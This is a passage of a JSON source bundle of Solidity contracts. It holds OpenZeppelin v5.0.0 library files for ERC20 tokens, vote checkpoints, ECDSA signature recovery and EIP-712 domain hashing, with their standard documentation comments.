allowed to operate on tokens without being their owner.\n */\n error ERC721InvalidOperator(address operator);\n}\n\n/**\n * @dev Standard ERC1155 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.\n */\ninterface IERC1155Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n * @param tokenId Identifier number of a token.\n */\n error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC1155InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC1155InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param owner Address of the current owner of a token.\n */\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC1155InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC1155InvalidOperator(address operator);\n\n /**\n * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.\n * Used in batch transfers.\n * @param idsLength Length of the array of token identifiers\n * @param valuesLength Length of the array of token amounts\n */\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC5267.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)\n\npragma solidity ^0.8.20;\n\ninterface IERC5267 {\n /**\n * @dev MAY be emitted to signal that the domain could have changed.\n */\n event EIP712DomainChanged();\n\n /**\n * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712\n * signature.\n */\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC5805.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5805.sol)\n\npragma solidity ^0.8.20;\n\nimport {IVotes} from \"../governance/utils/IVotes.sol\";\nimport {IERC6372} from \"./IERC6372.sol\";\n\ninterface IERC5805 is IERC6372, IVotes {}\n"
},
"@openzeppelin/contracts/interfaces/IERC6372.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC6372.sol)\n\npragma solidity ^0.8.20;\n\ninterface IERC6372 {\n /**\n * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based checkpoints (and voting).\n */\n function clock() external view returns (uint48);\n\n /**\n * @dev Description of the clock\n */\n // solhint-disable-next-line func-name-mixedcase\n function CLOCK_MODE() external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20} from \"./IERC20.sol\";\nimport {IERC20Metadata} from \"./extensions/IERC20Metadata.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {IERC20Errors} from \"../../interfaces/draft-IERC6093.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * The default value of {decimals} is 18. To change this, you should override\n * this function so it returns a different value.\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n */\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it's overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `value`.\n */\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `value`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `value`.\n */\n function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(from, to, value);\n }\n\n /**\n * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`\n * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding\n * this function.\n *\n * Emits a {Transfer} event.\n */\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n // Overflow check required: The rest of the code assumes that totalSupply never overflows\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n unchecked {\n // Overflow not possible: value <= fromBalance <= totalSupply.\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.\n _totalSupply -= value;\n }\n } else {\n unchecked {\n // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n /**\n * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).\n * Relies on the `_update` mechanism\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(address(0), account, value);\n }\n\n /**\n * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.\n * Relies on the `_update` mechanism.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead\n */\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n _update(account, address(0), value);\n }\n\n /**\n * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n *\n * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\n */\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n /**\n * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.\n *\n * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by\n * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any\n * `Approval` event during `transferFrom` operations.\n *\n * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to\n * true using the following override:\n * ```\n * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {\n * super._approve(owner, spender, value, true);\n * }\n * ```\n *\n * Requirements are the same as {_approve}.\n */\n function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `value`.\n *\n * Does not update the allowance value in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Does not emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 value) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(spender, currentAllowance, value);\n }\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Votes.sol)\n\npragma solidity ^0.8.20;\n\nimport {ERC20} from \"../ERC20.sol\";\nimport {Votes} from \"../../../governance/utils/Votes.sol\";\nimport {Checkpoints} from \"../../../utils/structs/Checkpoints.sol\";\n\n/**\n * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,\n * and supports token supply up to 2^208^ - 1, while COMP is limited to 2^96^ - 1.\n *\n * NOTE: This contract does not provide interface compatibility with Compound's COMP token.\n *\n * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either\n * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting\n * power can be queried through the public accessors {getVotes} and {getPastVotes}.\n *\n * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it\n * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.\n */\nabstract contract ERC20Votes is ERC20, Votes {\n /**\n * @dev Total supply cap has been exceeded, introducing a risk of votes overflowing.\n */\n error ERC20ExceededSafeSupply(uint256 increasedSupply, uint256 cap);\n\n /**\n * @dev Maximum token supply. Defaults to `type(uint208).max` (2^208^ - 1).\n *\n * This maximum is enforced in {_update}. It limits the total supply of the token, which is otherwise a uint256,\n * so that checkpoints can be stored in the Trace208 structure used by {{Votes}}. Increasing this value will not\n * remove the underlying limitation, and will cause {_update} to fail because of a math overflow in\n * {_transferVotingUnits}. An override could be used to further restrict the total supply (to a lower value) if\n * additional logic requires it. When resolving override conflicts on this function, the minimum should be\n * returned.\n */\n function _maxSupply() internal view virtual returns (uint256) {\n return type(uint208).max;\n }\n\n /**\n * @dev Move voting power when tokens are transferred.\n *\n * Emits a {IVotes-DelegateVotesChanged} event.\n */\n function _update(address from, address to, uint256 value) internal virtual override {\n super._update(from, to, value);\n if (from == address(0)) {\n uint256 supply = totalSupply();\n uint256 cap = _maxSupply();\n if (supply > cap) {\n revert ERC20ExceededSafeSupply(supply, cap);\n }\n }\n _transferVotingUnits(from, to, value);\n }\n\n /**\n * @dev Returns the voting units of an `account`.\n *\n * WARNING: Overriding this function may compromise the internal vote accounting.\n * `ERC20Votes` assumes tokens map to voting units 1:1 and this is not easy to change.\n */\n function _getVotingUnits(address account) internal view virtual override returns (uint256) {\n return balanceOf(account);\n }\n\n /**\n * @dev Get number of checkpoints for `account`.\n */\n function numCheckpoints(address account) public view virtual returns (uint32) {\n return _numCheckpoints(account);\n }\n\n /**\n * @dev Get the `pos`-th checkpoint for `account`.\n */\n function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _checkpoints(account, pos);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20} from \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the value of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the value of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves a `value` amount of tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 value) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\n * caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 value) external returns (bool);\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to` using the\n * allowance mechanism. `value` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/ECDSA.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n /**\n * @dev The signature derives the `address(0)`.\n */\n error ECDSAInvalidSignature();\n\n /**\n * @dev The signature has an invalid length.\n */\n error ECDSAInvalidSignatureLength(uint256 length);\n\n /**\n * @dev The signature has an S value that is in the upper half order.\n */\n error ECDSAInvalidSignatureS(bytes32 s);\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not\n * return address(0) without also returning an error description. Errors are documented using an enum (error type)\n * and a bytes32 providing additional information about the error.\n *\n * If no error is returned, then the address can be used for verification purposes.\n *\n * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n */\n function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {\n unchecked {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n // We do not check for an overflow here since the shift operation results in 0 or 1.\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n */\n function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError, bytes32) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.\n */\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/EIP712.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)\n\npragma solidity ^0.8.20;\n\nimport {MessageHashUtils} from \"./MessageHashUtils.sol\";\nimport {ShortStrings, ShortString} from \"../ShortStrings.sol\";\nimport {IERC5267} from \"../../interfaces/IERC5267.sol\";\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.\n *\n * The encoding scheme specified in the EIP requires a domain separator and a hash of the typed structured data, whose\n * encoding is very generic and therefore its implementation in Solidity is not feasible, thus this contract\n * does not implement the encoding itself. Protocols need to implement the type-specific encoding they need in order to\n * produce the hash of their typed data using a combination of `abi.encode` and `keccak256`.\n *\n * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding\n * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA\n * ({_hashTypedDataV4}).\n *\n * The implementation of the domain separator was designed to be as efficient as possible while still properly updating\n * the chain id to protect against replay attacks on an eventual fork of the chain.\n *\n * NOTE: This contract implements the version of the encoding known as \"v4\", as implemented by the JSON RPC method\n * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].\n *\n * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain\n * separator of the implementation contract. This will cause the {_domainSeparatorV4} function to always rebuild the\n * separator from the immutable values, which is cheaper than accessing a cached version in cold storage.\n *\n * @custom:oz-upgrades-unsafe-allow state-variable-immutable\n */\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant TYPE_HASH =\n keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n\n // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to\n // invalidate the cached domain separator if the chain id changes.\n bytes32 private immutable _cachedDomainSeparator;\n uint256 private immutable _cachedChainId;\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n ShortString private immutable _version;\n string private _nameFallback;\n string private _versionFallback;\n\n /**\n * @dev Initializes the domain separator and parameter caches.\n *\n * The meaning of `name` and `version` is specified in\n * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:\n *\n * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.\n * - `version`: the current major version of the signing domain.\n *\n * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart\n * contract upgrade].\n */\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n _version = version.toShortStringWithFallback(_versionFallback);\n _hashedName = keccak256(bytes(name));\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n _cachedDomainSeparator = _buildDomainSeparator();\n _cachedThis = address(this);\n }\n\n /**\n * @dev Returns the domain separator for the current chain.\n */\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));\n }\n\n /**\n * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this\n * function returns the hash of the fully encoded EIP712 message for this domain.\n *\n * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:\n *\n * ```solidity\n * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(\n * keccak256(\"Mail(address to,string contents)\"),\n * mailTo,\n * keccak256(bytes(mailContents))\n * )));\n * address signer = ECDSA.recover(digest, signature);\n * ```\n */\n function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {\n return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n /**\n * @dev See {IERC-5267}.\n */\n function eip712Domain()\n public\n view\n virtual\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _EIP712Name(),\n _EIP712Version(),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n\n /**\n * @dev The name parameter for the EIP712 domain.\n *\n * NOTE: By default this function reads _name which is an immutable value.\n * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).\n */\n // solhint-disable-next-line func-name-mixedcase\n function _EIP712Name() internal view returns (string memory) {\n return _name.toStringWithFallback(_nameFallback);\n }\n\n /**\n * @dev The version parameter for the EIP712 domain.\n *\n * NOTE: By default this function reads _version which is an immutable value.\n * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).\n */\n // solhint-disable-next-line func-name-mixedcase\n function _EIP712Version() internal view returns (string memory) {\n return _version.toStringWithFallback(_versionFallback);\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)\n\npragma solidity ^0.8.20;\n\nimport {Strings} from \"../Strings.sol\";\n\n/**\n * @dev Signature message hash utilities for producing digests to be consumed by {ECDSA} recovery or signing.\n *\n * The library provides methods for generating a hash of a message that conforms to the\n * https://eips.ethereum.org/EIPS/eip-191[EIP 191] and https://eips.ethereum.org/EIPS/eip-712[EIP 712]\n * specifications.\n */\nlibrary MessageHashUtils {\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x45` (`personal_sign` messages).\n *\n * The digest is calculated by prefixing a bytes32 `messageHash` with\n * `\"\\x19Ethereum Signed Message:\\n32\"` and hashing the result. It corresponds with the\n * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.\n *\n * NOTE: The `messageHash` parameter is intended to be the result of hashing a raw message with\n * keccak256, although any bytes32 value can be safely used because the final 